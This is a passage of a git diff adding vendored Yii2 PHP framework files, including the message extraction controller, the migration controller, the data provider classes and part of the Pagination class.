'po') { + $catalog = isset($config['catalog']) ? $config['catalog'] : 'messages'; + $this->saveMessagesToPO($messages, $dir, $config['overwrite'], $config['removeUnused'], $config['sort'], $catalog); + } else { + $this->saveMessagesToPHP($messages, $dir, $config['overwrite'], $config['removeUnused'], $config['sort']); + } + } + } elseif ($config['format'] === 'db') { + $db = \Yii::$app->get(isset($config['db']) ? $config['db'] : 'db'); + if (!$db instanceof \yii\db\Connection) { + throw new Exception('The "db" option must refer to a valid database application component.'); + } + $sourceMessageTable = isset($config['sourceMessageTable']) ? $config['sourceMessageTable'] : '{{%source_message}}'; + $messageTable = isset($config['messageTable']) ? $config['messageTable'] : '{{%message}}'; + $this->saveMessagesToDb( + $messages, + $db, + $sourceMessageTable, + $messageTable, + $config['removeUnused'], + $config['languages'] + ); + } + } + + /** + * Saves messages to database + * + * @param array $messages + * @param \yii\db\Connection $db + * @param string $sourceMessageTable + * @param string $messageTable + * @param boolean $removeUnused + * @param array $languages + */ + protected function saveMessagesToDb($messages, $db, $sourceMessageTable, $messageTable, $removeUnused, $languages) + { + $q = new \yii\db\Query; + $current = []; + + foreach ($q->select(['id', 'category', 'message'])->from($sourceMessageTable)->all() as $row) { + $current[$row['category']][$row['id']] = $row['message']; + } + + $new = []; + $obsolete = []; + + foreach ($messages as $category => $msgs) { + $msgs = array_unique($msgs); + + if (isset($current[$category])) { + $new[$category] = array_diff($msgs, $current[$category]); + $obsolete += array_diff($current[$category], $msgs); + } else { + $new[$category] = $msgs; + } + } + + foreach (array_diff(array_keys($current), array_keys($messages)) as $category) { + $obsolete += $current[$category]; + } + + if (!$removeUnused) { + foreach ($obsolete as $pk => $m) { + if (mb_substr($m, 0, 2) === '@@' && mb_substr($m, -2) === '@@') { + unset($obsolete[$pk]); + } + } + } + + $obsolete = array_keys($obsolete); + echo "Inserting new messages..."; + $savedFlag = false; + + foreach ($new as $category => $msgs) { + foreach ($msgs as $m) { + $savedFlag = true; + + $db->createCommand() + ->insert($sourceMessageTable, ['category' => $category, 'message' => $m])->execute(); + $lastId = $db->getLastInsertID(); + foreach ($languages as $language) { + $db->createCommand() + ->insert($messageTable, ['id' => $lastId, 'language' => $language])->execute(); + } + } + } + + echo $savedFlag ? "saved.\n" : "Nothing new...skipped.\n"; + echo $removeUnused ? "Deleting obsoleted messages..." : "Updating obsoleted messages..."; + + if (empty($obsolete)) { + echo "Nothing obsoleted...skipped.\n"; + } else { + if ($removeUnused) { + $db->createCommand() + ->delete($sourceMessageTable, ['in', 'id', $obsolete])->execute(); + echo "deleted.\n"; + } else { + $last_id = $db->getLastInsertID(); + $db->createCommand() + ->update( + $sourceMessageTable, + ['message' => new \yii\db\Expression("CONCAT('@@',message,'@@')")], + ['in', 'id', $obsolete] + )->execute(); + foreach ($languages as $language) { + $db->createCommand() + ->insert($messageTable, ['id' => $last_id, 'language' => $language])->execute(); + } + echo "updated.\n"; + } + } + } + + /** + * Extracts messages from a file + * + * @param string $fileName name of the file to extract messages from + * @param string $translator name of the function used to translate messages + * @return array + */ + protected function extractMessages($fileName, $translator) + { + echo "Extracting messages from $fileName...\n"; + $subject = file_get_contents($fileName); + $messages = []; + if (!is_array($translator)) { + $translator = [$translator]; + } + foreach ($translator as $currentTranslator) { + $n = preg_match_all( + '/\b' . $currentTranslator . '\s*\(\s*(\'.*?(? $msgs) { + $file = str_replace("\\", '/', "$dirName/$category.php"); + $path = dirname($file); + FileHelper::createDirectory($path); + $msgs = array_values(array_unique($msgs)); + echo "Saving messages to $file...\n"; + $this->saveMessagesCategoryToPHP($msgs, $file, $overwrite, $removeUnused, $sort, $category); + } + } + + /** + * Writes category messages into PHP file + * + * @param array $messages + * @param string $fileName name of the file to write to + * @param boolean $overwrite if existing file should be overwritten without backup + * @param boolean $removeUnused if obsolete translations should be removed + * @param boolean $sort if translations should be sorted + * @param string $category message category + */ + protected function saveMessagesCategoryToPHP($messages, $fileName, $overwrite, $removeUnused, $sort, $category) + { + if (is_file($fileName)) { + $existingMessages = require($fileName); + sort($messages); + ksort($existingMessages); + if (array_keys($existingMessages) == $messages) { + echo "Nothing new in \"$category\" category... Nothing to save.\n"; + return; + } + $merged = []; + $untranslated = []; + foreach ($messages as $message) { + if (array_key_exists($message, $existingMessages) && strlen($existingMessages[$message]) > 0) { + $merged[$message] = $existingMessages[$message]; + } else { + $untranslated[] = $message; + } + } + ksort($merged); + sort($untranslated); + $todo = []; + foreach ($untranslated as $message) { + $todo[$message] = ''; + } + ksort($existingMessages); + foreach ($existingMessages as $message => $translation) { + if (!isset($merged[$message]) && !isset($todo[$message]) && !$removeUnused) { + if (!empty($translation) && strncmp($translation, '@@', 2) === 0 && substr_compare($translation, '@@', -2, 2) === 0) { + $todo[$message] = $translation; + } else { + $todo[$message] = '@@' . $translation . '@@'; + } + } + } + $merged = array_merge($todo, $merged); + if ($sort) { + ksort($merged); + } + if (false === $overwrite) { + $fileName .= '.merged'; + } + echo "Translation merged.\n"; + } else { + $merged = []; + foreach ($messages as $message) { + $merged[$message] = ''; + } + ksort($merged); + } + + + $array = VarDumper::export($merged); + $content = <<id}' command. + * It contains the localizable messages extracted from source code. + * You may modify this file by translating the extracted messages. + * + * Each array element represents the translation (value) of a message (key). + * If the value is empty, the message is considered as not translated. + * Messages that no longer need translation will have their translations + * enclosed between a pair of '@@' marks. + * + * Message string can be used with plural forms format. Check i18n section + * of the guide for details. + * + * NOTE: this file must be saved in UTF-8 encoding. + */ +return $array; + +EOD; + + file_put_contents($fileName, $content); + echo "Saved.\n"; + } + + /** + * Writes messages into PO file + * + * @param array $messages + * @param string $dirName name of the directory to write to + * @param boolean $overwrite if existing file should be overwritten without backup + * @param boolean $removeUnused if obsolete translations should be removed + * @param boolean $sort if translations should be sorted + * @param string $catalog message catalog + */ + protected function saveMessagesToPO($messages, $dirName, $overwrite, $removeUnused, $sort, $catalog) + { + $file = str_replace("\\", '/', "$dirName/$catalog.po"); + FileHelper::createDirectory(dirname($file)); + echo "Saving messages to $file...\n"; + + $poFile = new GettextPoFile(); + + + $merged = []; + $notTranslatedYet = []; + $todos = []; + + $hasSomethingToWrite = false; + foreach ($messages as $category => $msgs) { + $msgs = array_values(array_unique($msgs)); + + if (is_file($file)) { + $existingMessages = $poFile->load($file, $category); + + sort($msgs); + ksort($existingMessages); + if (array_keys($existingMessages) == $msgs) { + echo "Nothing new in \"$category\" category...\n"; + + sort($msgs); + foreach ($msgs as $message) { + $merged[$category . chr(4) . $message] = ''; + } + ksort($merged); + continue; + } + + // merge existing message translations with new message translations + foreach ($msgs as $message) { + if (array_key_exists($message, $existingMessages) && strlen($existingMessages[$message]) > 0) { + $merged[$category . chr(4) . $message] = $existingMessages[$message]; + } else { + $notTranslatedYet[] = $message; + } + } + ksort($merged); + sort($notTranslatedYet); + + // collect not yet translated messages + foreach ($notTranslatedYet as $message) { + $todos[$category . chr(4) . $message] = ''; + } + + // add obsolete unused messages + foreach ($existingMessages as $message => $translation) { + if (!isset($merged[$category . chr(4) . $message]) && !isset($todos[$category . chr(4) . $message]) && !$removeUnused) { + if (!empty($translation) && substr($translation, 0, 2) === '@@' && substr($translation, -2) === '@@') { + $todos[$category . chr(4) . $message] = $translation; + } else { + $todos[$category . chr(4) . $message] = '@@' . $translation . '@@'; + } + } + } + + $merged = array_merge($todos, $merged); + if ($sort) { + ksort($merged); + } + + if ($overwrite === false) { + $file .= '.merged'; + } + } else { + sort($msgs); + foreach ($msgs as $message) { + $merged[$category . chr(4) . $message] = ''; + } + ksort($merged); + } + echo "Category \"$category\" merged.\n"; + $hasSomethingToWrite = true; + } + if ($hasSomethingToWrite) { + $poFile->save($file, $merged); + echo "Saved.\n"; + } else { + echo "Nothing to save.\n"; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MigrateController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MigrateController.php new file mode 100644 index 00000000..826bc580 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MigrateController.php @@ -0,0 +1,181 @@ + + * @since 2.0 + */ +class MigrateController extends BaseMigrateController +{ + /** + * @var string the name of the table for keeping applied migration information. + */ + public $migrationTable = '{{%migration}}'; + /** + * @inheritdoc + */ + public $templateFile = '@yii/views/migration.php'; + /** + * @var Connection|string the DB connection object or the application + * component ID of the DB connection. + */ + public $db = 'db'; + + + /** + * @inheritdoc + */ + public function options($actionID) + { + return array_merge( + parent::options($actionID), + ['migrationTable', 'db'] // global for all actions + ); + } + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * It checks the existence of the [[migrationPath]]. + * @param \yii\base\Action $action the action to be executed. + * @throws Exception if db component isn't configured + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + if (parent::beforeAction($action)) { + if ($action->id !== 'create') { + if (is_string($this->db)) { + $this->db = Yii::$app->get($this->db); + } + if (!$this->db instanceof Connection) { + throw new Exception("The 'db' option must refer to the application component ID of a DB connection."); + } + } + return true; + } else { + return false; + } + } + + /** + * Creates a new migration instance. + * @param string $class the migration class name + * @return \yii\db\Migration the migration instance + */ + protected function createMigration($class) + { + $file = $this->migrationPath . DIRECTORY_SEPARATOR . $class . '.php'; + require_once($file); + + return new $class(['db' => $this->db]); + } + + /** + * @inheritdoc + */ + protected function getMigrationHistory($limit) + { + if ($this->db->schema->getTableSchema($this->migrationTable, true) === null) { + $this->createMigrationHistoryTable(); + } + $query = new Query; + $rows = $query->select(['version', 'apply_time']) + ->from($this->migrationTable) + ->orderBy('version DESC') + ->limit($limit) + ->createCommand($this->db) + ->queryAll(); + $history = ArrayHelper::map($rows, 'version', 'apply_time'); + unset($history[self::BASE_MIGRATION]); + + return $history; + } + + /** + * Creates the migration history table. + */ + protected function createMigrationHistoryTable() + { + $tableName = $this->db->schema->getRawTableName($this->migrationTable); + echo "Creating migration history table \"$tableName\"..."; + $this->db->createCommand()->createTable($this->migrationTable, [ + 'version' => 'varchar(180) NOT NULL PRIMARY KEY', + 'apply_time' => 'integer', + ])->execute(); + $this->db->createCommand()->insert($this->migrationTable, [ + 'version' => self::BASE_MIGRATION, + 'apply_time' => time(), + ])->execute(); + echo "done.\n"; + } + + /** + * @inheritdoc + */ + protected function addMigrationHistory($version) + { + $command = $this->db->createCommand(); + $command->insert($this->migrationTable, [ + 'version' => $version, + 'apply_time' => time(), + ])->execute(); + } + + /** + * @inheritdoc + */ + protected function removeMigrationHistory($version) + { + $command = $this->db->createCommand(); + $command->delete($this->migrationTable, [ + 'version' => $version, + ])->execute(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/runtime/.gitignore b/php/yii2/basic/vendor/yiisoft/yii2/console/runtime/.gitignore new file mode 100644 index 00000000..f59ec20a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/runtime/.gitignore @@ -0,0 +1 @@ +* \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/ActiveDataProvider.php b/php/yii2/basic/vendor/yiisoft/yii2/data/ActiveDataProvider.php new file mode 100644 index 00000000..8f6ce055 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/ActiveDataProvider.php @@ -0,0 +1,185 @@ + Post::find(), + * 'pagination' => [ + * 'pageSize' => 20, + * ], + * ]); + * + * // get the posts in the current page + * $posts = $provider->getModels(); + * ~~~ + * + * And the following example shows how to use ActiveDataProvider without ActiveRecord: + * + * ~~~ + * $query = new Query; + * $provider = new ActiveDataProvider([ + * 'query' => $query->from('post'), + * 'pagination' => [ + * 'pageSize' => 20, + * ], + * ]); + * + * // get the posts in the current page + * $posts = $provider->getModels(); + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class ActiveDataProvider extends BaseDataProvider +{ + /** + * @var QueryInterface the query that is used to fetch data models and [[totalCount]] + * if it is not explicitly set. + */ + public $query; + /** + * @var string|callable the column that is used as the key of the data models. + * This can be either a column name, or a callable that returns the key value of a given data model. + * + * If this is not set, the following rules will be used to determine the keys of the data models: + * + * - If [[query]] is an [[\yii\db\ActiveQuery]] instance, the primary keys of [[\yii\db\ActiveQuery::modelClass]] will be used. + * - Otherwise, the keys of the [[models]] array will be used. + * + * @see getKeys() + */ + public $key; + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * If not set, the default DB connection will be used. + */ + public $db; + + + /** + * Initializes the DB connection component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + if (is_string($this->db)) { + $this->db = Instance::ensure($this->db, Connection::className()); + } + } + + /** + * @inheritdoc + */ + protected function prepareModels() + { + if (!$this->query instanceof QueryInterface) { + throw new InvalidConfigException('The "query" property must be an instance of a class that implements the QueryInterface e.g. yii\db\Query or its subclasses.'); + } + $query = clone $this->query; + if (($pagination = $this->getPagination()) !== false) { + $pagination->totalCount = $this->getTotalCount(); + $query->limit($pagination->getLimit())->offset($pagination->getOffset()); + } + if (($sort = $this->getSort()) !== false) { + $query->addOrderBy($sort->getOrders()); + } + + return $query->all($this->db); + } + + /** + * @inheritdoc + */ + protected function prepareKeys($models) + { + $keys = []; + if ($this->key !== null) { + foreach ($models as $model) { + if (is_string($this->key)) { + $keys[] = $model[$this->key]; + } else { + $keys[] = call_user_func($this->key, $model); + } + } + + return $keys; + } elseif ($this->query instanceof ActiveQueryInterface) { + /* @var $class \yii\db\ActiveRecord */ + $class = $this->query->modelClass; + $pks = $class::primaryKey(); + if (count($pks) === 1) { + $pk = $pks[0]; + foreach ($models as $model) { + $keys[] = $model[$pk]; + } + } else { + foreach ($models as $model) { + $kk = []; + foreach ($pks as $pk) { + $kk[$pk] = $model[$pk]; + } + $keys[] = $kk; + } + } + + return $keys; + } else { + return array_keys($models); + } + } + + /** + * @inheritdoc + */ + protected function prepareTotalCount() + { + if (!$this->query instanceof QueryInterface) { + throw new InvalidConfigException('The "query" property must be an instance of a class that implements the QueryInterface e.g. yii\db\Query or its subclasses.'); + } + $query = clone $this->query; + return (int) $query->limit(-1)->offset(-1)->orderBy([])->count('*', $this->db); + } + + /** + * @inheritdoc + */ + public function setSort($value) + { + parent::setSort($value); + if (($sort = $this->getSort()) !== false && empty($sort->attributes) && $this->query instanceof ActiveQueryInterface) { + /* @var $model Model */ + $model = new $this->query->modelClass; + foreach ($model->attributes() as $attribute) { + $sort->attributes[$attribute] = [ + 'asc' => [$attribute => SORT_ASC], + 'desc' => [$attribute => SORT_DESC], + 'label' => $model->getAttributeLabel($attribute), + ]; + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/ArrayDataProvider.php b/php/yii2/basic/vendor/yiisoft/yii2/data/ArrayDataProvider.php new file mode 100644 index 00000000..7faf4bab --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/ArrayDataProvider.php @@ -0,0 +1,133 @@ + $query->from('post')->all(), + * 'sort' => [ + * 'attributes' => ['id', 'username', 'email'], + * ], + * 'pagination' => [ + * 'pageSize' => 10, + * ], + * ]); + * // get the posts in the current page + * $posts = $provider->getModels(); + * ~~~ + * + * Note: if you want to use the sorting feature, you must configure the [[sort]] property + * so that the provider knows which columns can be sorted. + * + * @author Qiang Xue + * @since 2.0 + */ +class ArrayDataProvider extends BaseDataProvider +{ + /** + * @var string|callable the column that is used as the key of the data models. + * This can be either a column name, or a callable that returns the key value of a given data model. + * If this is not set, the index of the [[models]] array will be used. + * @see getKeys() + */ + public $key; + /** + * @var array the data that is not paginated or sorted. When pagination is enabled, + * this property usually contains more elements than [[models]]. + * The array elements must use zero-based integer keys. + */ + public $allModels; + + + /** + * @inheritdoc + */ + protected function prepareModels() + { + if (($models = $this->allModels) === null) { + return []; + } + + if (($sort = $this->getSort()) !== false) { + $models = $this->sortModels($models, $sort); + } + + if (($pagination = $this->getPagination()) !== false) { + $pagination->totalCount = $this->getTotalCount(); + $models = array_slice($models, $pagination->getOffset(), $pagination->getLimit()); + } + + return $models; + } + + /** + * @inheritdoc + */ + protected function prepareKeys($models) + { + if ($this->key !== null) { + $keys = []; + foreach ($models as $model) { + if (is_string($this->key)) { + $keys[] = $model[$this->key]; + } else { + $keys[] = call_user_func($this->key, $model); + } + } + + return $keys; + } else { + return array_keys($models); + } + } + + /** + * @inheritdoc + */ + protected function prepareTotalCount() + { + return count($this->allModels); + } + + /** + * Sorts the data models according to the given sort definition + * @param array $models the models to be sorted + * @param Sort $sort the sort definition + * @return array the sorted data models + */ + protected function sortModels($models, $sort) + { + $orders = $sort->getOrders(); + if (!empty($orders)) { + ArrayHelper::multisort($models, array_keys($orders), array_values($orders)); + } + + return $models; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/BaseDataProvider.php b/php/yii2/basic/vendor/yiisoft/yii2/data/BaseDataProvider.php new file mode 100644 index 00000000..5f61cc0b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/BaseDataProvider.php @@ -0,0 +1,255 @@ + + * @since 2.0 + */ +abstract class BaseDataProvider extends Component implements DataProviderInterface +{ + /** + * @var string an ID that uniquely identifies the data provider among all data providers. + * You should set this property if the same page contains two or more different data providers. + * Otherwise, the [[pagination]] and [[sort]] mainly not work properly. + */ + public $id; + + private $_sort; + private $_pagination; + private $_keys; + private $_models; + private $_totalCount; + + + /** + * Prepares the data models that will be made available in the current page. + * @return array the available data models + */ + abstract protected function prepareModels(); + + /** + * Prepares the keys associated with the currently available data models. + * @param array $models the available data models + * @return array the keys + */ + abstract protected function prepareKeys($models); + + /** + * Returns a value indicating the total number of data models in this data provider. + * @return integer total number of data models in this data provider. + */ + abstract protected function prepareTotalCount(); + + /** + * Prepares the data models and keys. + * + * This method will prepare the data models and keys that can be retrieved via + * [[getModels()]] and [[getKeys()]]. + * + * This method will be implicitly called by [[getModels()]] and [[getKeys()]] if it has not been called before. + * + * @param boolean $forcePrepare whether to force data preparation even if it has been done before. + */ + public function prepare($forcePrepare = false) + { + if ($forcePrepare || $this->_models === null) { + $this->_models = $this->prepareModels(); + } + if ($forcePrepare || $this->_keys === null) { + $this->_keys = $this->prepareKeys($this->_models); + } + } + + /** + * Returns the data models in the current page. + * @return array the list of data models in the current page. + */ + public function getModels() + { + $this->prepare(); + + return $this->_models; + } + + /** + * Sets the data models in the current page. + * @param array $models the models in the current page + */ + public function setModels($models) + { + $this->_models = $models; + } + + /** + * Returns the key values associated with the data models. + * @return array the list of key values corresponding to [[models]]. Each data model in [[models]] + * is uniquely identified by the corresponding key value in this array. + */ + public function getKeys() + { + $this->prepare(); + + return $this->_keys; + } + + /** + * Sets the key values associated with the data models. + * @param array $keys the list of key values corresponding to [[models]]. + */ + public function setKeys($keys) + { + $this->_keys = $keys; + } + + /** + * Returns the number of data models in the current page. + * @return integer the number of data models in the current page. + */ + public function getCount() + { + return count($this->getModels()); + } + + /** + * Returns the total number of data models. + * When [[pagination]] is false, this returns the same value as [[count]]. + * Otherwise, it will call [[prepareTotalCount()]] to get the count. + * @return integer total number of possible data models. + */ + public function getTotalCount() + { + if ($this->getPagination() === false) { + return $this->getCount(); + } elseif ($this->_totalCount === null) { + $this->_totalCount = $this->prepareTotalCount(); + } + + return $this->_totalCount; + } + + /** + * Sets the total number of data models. + * @param integer $value the total number of data models. + */ + public function setTotalCount($value) + { + $this->_totalCount = $value; + } + + /** + * Returns the pagination object used by this data provider. + * Note that you should call [[prepare()]] or [[getModels()]] first to get correct values + * of [[Pagination::totalCount]] and [[Pagination::pageCount]]. + * @return Pagination|boolean the pagination object. If this is false, it means the pagination is disabled. + */ + public function getPagination() + { + if ($this->_pagination === null) { + $this->setPagination([]); + } + + return $this->_pagination; + } + + /** + * Sets the pagination for this data provider. + * @param array|Pagination|boolean $value the pagination to be used by this data provider. + * This can be one of the following: + * + * - a configuration array for creating the pagination object. The "class" element defaults + * to 'yii\data\Pagination' + * - an instance of [[Pagination]] or its subclass + * - false, if pagination needs to be disabled. + * + * @throws InvalidParamException + */ + public function setPagination($value) + { + if (is_array($value)) { + $config = ['class' => Pagination::className()]; + if ($this->id !== null) { + $config['pageParam'] = $this->id . '-page'; + $config['pageSizeParam'] = $this->id . '-per-page'; + } + $this->_pagination = Yii::createObject(array_merge($config, $value)); + } elseif ($value instanceof Pagination || $value === false) { + $this->_pagination = $value; + } else { + throw new InvalidParamException('Only Pagination instance, configuration array or false is allowed.'); + } + } + + /** + * @return Sort|boolean the sorting object. If this is false, it means the sorting is disabled. + */ + public function getSort() + { + if ($this->_sort === null) { + $this->setSort([]); + } + + return $this->_sort; + } + + /** + * Sets the sort definition for this data provider. + * @param array|Sort|boolean $value the sort definition to be used by this data provider. + * This can be one of the following: + * + * - a configuration array for creating the sort definition object. The "class" element defaults + * to 'yii\data\Sort' + * - an instance of [[Sort]] or its subclass + * - false, if sorting needs to be disabled. + * + * @throws InvalidParamException + */ + public function setSort($value) + { + if (is_array($value)) { + $config = ['class' => Sort::className()]; + if ($this->id !== null) { + $config['sortParam'] = $this->id . '-sort'; + } + $this->_sort = Yii::createObject(array_merge($config, $value)); + } elseif ($value instanceof Sort || $value === false) { + $this->_sort = $value; + } else { + throw new InvalidParamException('Only Sort instance, configuration array or false is allowed.'); + } + } + + /** + * Refreshes the data provider. + * After calling this method, if [[getModels()]], [[getKeys()]] or [[getTotalCount()]] is called again, + * they will re-execute the query and return the latest data available. + */ + public function refresh() + { + $this->_totalCount = null; + $this->_models = null; + $this->_keys = null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/DataProviderInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/data/DataProviderInterface.php new file mode 100644 index 00000000..b1720266 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/DataProviderInterface.php @@ -0,0 +1,70 @@ + + * @since 2.0 + */ +interface DataProviderInterface +{ + /** + * Prepares the data models and keys. + * + * This method will prepare the data models and keys that can be retrieved via + * [[getModels()]] and [[getKeys()]]. + * + * This method will be implicitly called by [[getModels()]] and [[getKeys()]] if it has not been called before. + * + * @param boolean $forcePrepare whether to force data preparation even if it has been done before. + */ + public function prepare($forcePrepare = false); + + /** + * Returns the number of data models in the current page. + * This is equivalent to `count($provider->getModels())`. + * When [[getPagination|pagination]] is false, this is the same as [[getTotalCount|totalCount]]. + * @return integer the number of data models in the current page. + */ + public function getCount(); + + /** + * Returns the total number of data models. + * When [[getPagination|pagination]] is false, this is the same as [[getCount|count]]. + * @return integer total number of possible data models. + */ + public function getTotalCount(); + + /** + * Returns the data models in the current page. + * @return array the list of data models in the current page. + */ + public function getModels(); + + /** + * Returns the key values associated with the data models. + * @return array the list of key values corresponding to [[getModels|models]]. Each data model in [[getModels|models]] + * is uniquely identified by the corresponding key value in this array. + */ + public function getKeys(); + + /** + * @return Sort the sorting object. If this is false, it means the sorting is disabled. + */ + public function getSort(); + + /** + * @return Pagination the pagination object. If this is false, it means the pagination is disabled. + */ + public function getPagination(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/Pagination.php b/php/yii2/basic/vendor/yiisoft/yii2/data/Pagination.php new file mode 100644 index 00000000..940752e6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/Pagination.php @@ -0,0 +1,349 @@ +where(['status' => 1]); + * $countQuery = clone $query; + * $pages = new Pagination(['totalCount' => $countQuery->count()]); + * $models = $query->offset($pages->offset) + * ->limit($pages->limit) + * ->all(); + * + * return $this->render('index', [ + * 'models' => $models, + * 'pages' => $pages, + * ]); + * } + * ~~~ + * + * View: + * + * ~~~ + * foreach ($models as $model) { + * // display $model here + * } + * + * // display pagination + * echo LinkPager::widget([ + * 'pagination' => $pages, + * ]); + * ~~~ + * + * @property integer $limit The limit of the data. This may be used to set the LIMIT value for a SQL statement + * for fetching the current page of data. Note that if the page size is infinite, a value -1 will be returned. + * This property is read-only. + * @property array $links The links for navigational purpose. The array keys specify the purpose of the links + * (e.g. [[LINK_FIRST]]), and the array values are the corresponding URLs. This property is read-only. + * @property integer $offset The offset of the data. This may be used to set the OFFSET value for a SQL + * statement for fetching the current page of data. This property is read-only. + * @property integer $page The zero-based current page number. + * @property integer $pageCount Number of pages. This property is read-only. + * @property integer $pageSize The number of items per page. + * + * @author Qiang Xue + * @since 2.0 + */ +class Pagination extends Object implements Linkable +{ + const LINK_NEXT = 'next'; + const LINK_PREV = 'prev'; + const LINK_FIRST = 'first'; + const LINK_LAST = 'last'; + + /** + * @var string name of the parameter storing the current page index. + * @see params + */ + public $pageParam = 'page'; + /** + * @var string name of the parameter storing the page size. + * @see params + */ + public $pageSizeParam = 'per-page'; + /** + * @var boolean whether to always have the page parameter in the URL created by [[createUrl()]]. + * If false and [[page]] is 0, the page parameter will not be put in the URL. + */ + public $forcePageParam = true; + /** + * @var string the route of the controller action for displaying the paged contents. + * If not set, it means using the currently requested route. + */ + public $route; + /** + * @var array parameters (name => value) that should be used to obtain the current page number + * and to create new pagination URLs. If not set, all parameters from $_GET will be used instead. + * + * In order to add hash to all links use `array_merge($_GET, ['#' => 'my-hash'])`. + * + * The array element indexed by [[pageParam]] is considered to be the current page number (defaults to 0); + * while the element indexed by [[pageSizeParam]] is treated as the page size (defaults to [[defaultPageSize]]). + */ + public $params; + /** + * @var \yii\web\UrlManager the URL manager used for creating pagination URLs. If not set, + * the "urlManager" application component will be used. + */ + public $urlManager; + /** + * @var boolean whether to check if [[page]] is within valid range. + * When this property is true, the value of [[page]] will always be between 0 and ([[pageCount]]-1). + * Because [[pageCount]] relies on the correct value of [[totalCount]] which may not be available + * in some cases (e.g. MongoDB), you may want to set this property to be false to disable the page + * number validation. By doing so, [[page]] will return the value indexed by [[pageParam]] in [[params]]. + */ + public $validatePage = true; + /** + * @var integer total number of items. + */ + public $totalCount = 0; + /** + * @var integer the default page size. This property will be returned by [[pageSize]] when page size + * cannot be determined by [[pageSizeParam]] from [[params]]. + */ + public $defaultPageSize = 20; + /** + * @var array|boolean the page size limits. The first array element stands for the minimal page size, and the second + * the maximal page size. If this is false, it means [[pageSize]] should always return the value of [[defaultPageSize]]. + */ + public $pageSizeLimit = [1, 50]; + + /** + * @var integer number of items on each page. + * If it is less than 1, it means the page size is infinite, and thus a single page contains all items. + */ + private $_pageSize; + + + /** + * @return integer number of pages + */ + public function getPageCount() + { + $pageSize = $this->getPageSize(); + if ($pageSize < 1) { + return $this->totalCount > 0 ? 1 : 0; + } else { + $totalCount = $this->totalCount < 0 ? 0 : (int) $this->totalCount; + + return (int) (($totalCount + $pageSize - 1) / $pageSize); + } + } + + private $_page; + + /** + * Returns the zero-based current page number. + * @param boolean $recalculate whether to recalculate the current page based on the page size and item count. + * @return integer the zero-based current page number. + */ + public function getPage($recalculate = false) + { + if ($this->_page === null || $recalculate) { + $page = (int) $this->getQueryParam($this->pageParam, 1) - 1; + $this->setPage($page, true); + } + + return $this->_page; + } + + /** + * Sets the current page number. + * @param integer $value the zero-based index of the current page. + * @param boolean $validatePage whether to validate the page number. Note that in order + * to validate the page number, both [[validatePage]] and this parameter must be true. + */ + public function setPage($value, $validatePage = false) + { + if ($value === null) { + $this->_page = null; + } else { + $value = (int) $value; + if ($validatePage && $this->validatePage) { + $pageCount = $this->getPageCount(); + if ($value >= $pageCount) { + $value = $pageCount - 1; + } + } + if ($value < 0) { + $value = 0; + } + $this->_page = $value; + } + } + + /** + * Returns the number of items per page. + * By default, this method will try to determine the page size by [[pageSizeParam]] in [[params]]. + * If the page size cannot be determined this way, [[defaultPageSize]] will be returned. + * @return integer the number of items per page. + * @see pageSizeLimit + */ + public function getPageSize() + { + if ($this->_pageSize === null) { + if (empty($this->pageSizeLimit)) { + $pageSize = $this->defaultPageSize; + $this->setPageSize($pageSize); + } else { + $pageSize = (int) $this->getQueryParam($this->pageSizeParam, $this->defaultPageSize); + $this->setPageSize($pageSize, true); + } + } + + return $this->_pageSize; + } + + /** + * @param integer $value the number of items per page. + * @param boolean $validatePageSize whether to validate page size. + */ + public function setPageSize($value, $validatePageSize = false) + { + if ($value === null) { + $this->_pageSize = null; + } else { + $value = (int) $value; + if ($validatePageSize && count($this->pageSizeLimit) === 2 && isset($this->pageSizeLimit[0], $this->pageSizeLimit[1])) { + if ($value < $this->pageSizeLimit[0]) { + $value = $this->pageSizeLimit[0]; + } elseif ($value > $this->pageSizeLimit[1]) { + $value = $this->pageSizeLimit[1]; + } + } + $this->_pageSize = $value; + } + } + + /** + * Creates the URL suitable for pagination with the specified page number. + * This method is mainly called by pagers when creating URLs used to perform pagination. + * @param integer $page the zero-based page number that the URL should point to. + * @param integer $pageSize the number of items on each page. If not set, the value of [[pageSize]] will be used. + * @param boolean $absolute whether to create an absolute URL. Defaults to `false`. + * @return string the created URL + * @see params + * @see forcePageParam + */ + public function createUrl($page, $pageSize = null, $absolute = false) + { + $page = (int) $page; + $pageSize = (int) $pageSize; + if (($params = $this->params) === null) { + $request = Yii::$app->getRequest(); + $params = $request instanceof Request ? $request->getQueryParams() : []; + } + if ($page > 0 || $page >= 0 && $this->forcePageParam) { + $params[$this->pageParam] = $page + 1; + } else { + unset($params[$this->pageParam]); + } + if ($pageSize <= 0) { + $pageSize = $this->getPageSize(); + } + if ($pageSize != $this->defaultPageSize) { + $params[$this->pageSizeParam] = $pageSize; + } else { + unset($params[$this->pageSizeParam]); + } + $params[0] = $this->route === null ? Yii::$app->controller->getRoute() : $this->route; + $urlManager = $this->urlManager === null ? Yii::$app->getUrlManager() : $this->urlManager; + if ($absolute) { + return $urlManager->createAbsoluteUrl($params); + } else { + return $urlManager->createUrl($params); + } + } + + /** + * @return integer the offset of the data. This may be used to set the + * OFFSET value for a SQL statement for fetching the current page of data. + */ + public function getOffset() + { + $pageSize = $this->getPageSize(); + + return $pageSize < 1 ? 0 : 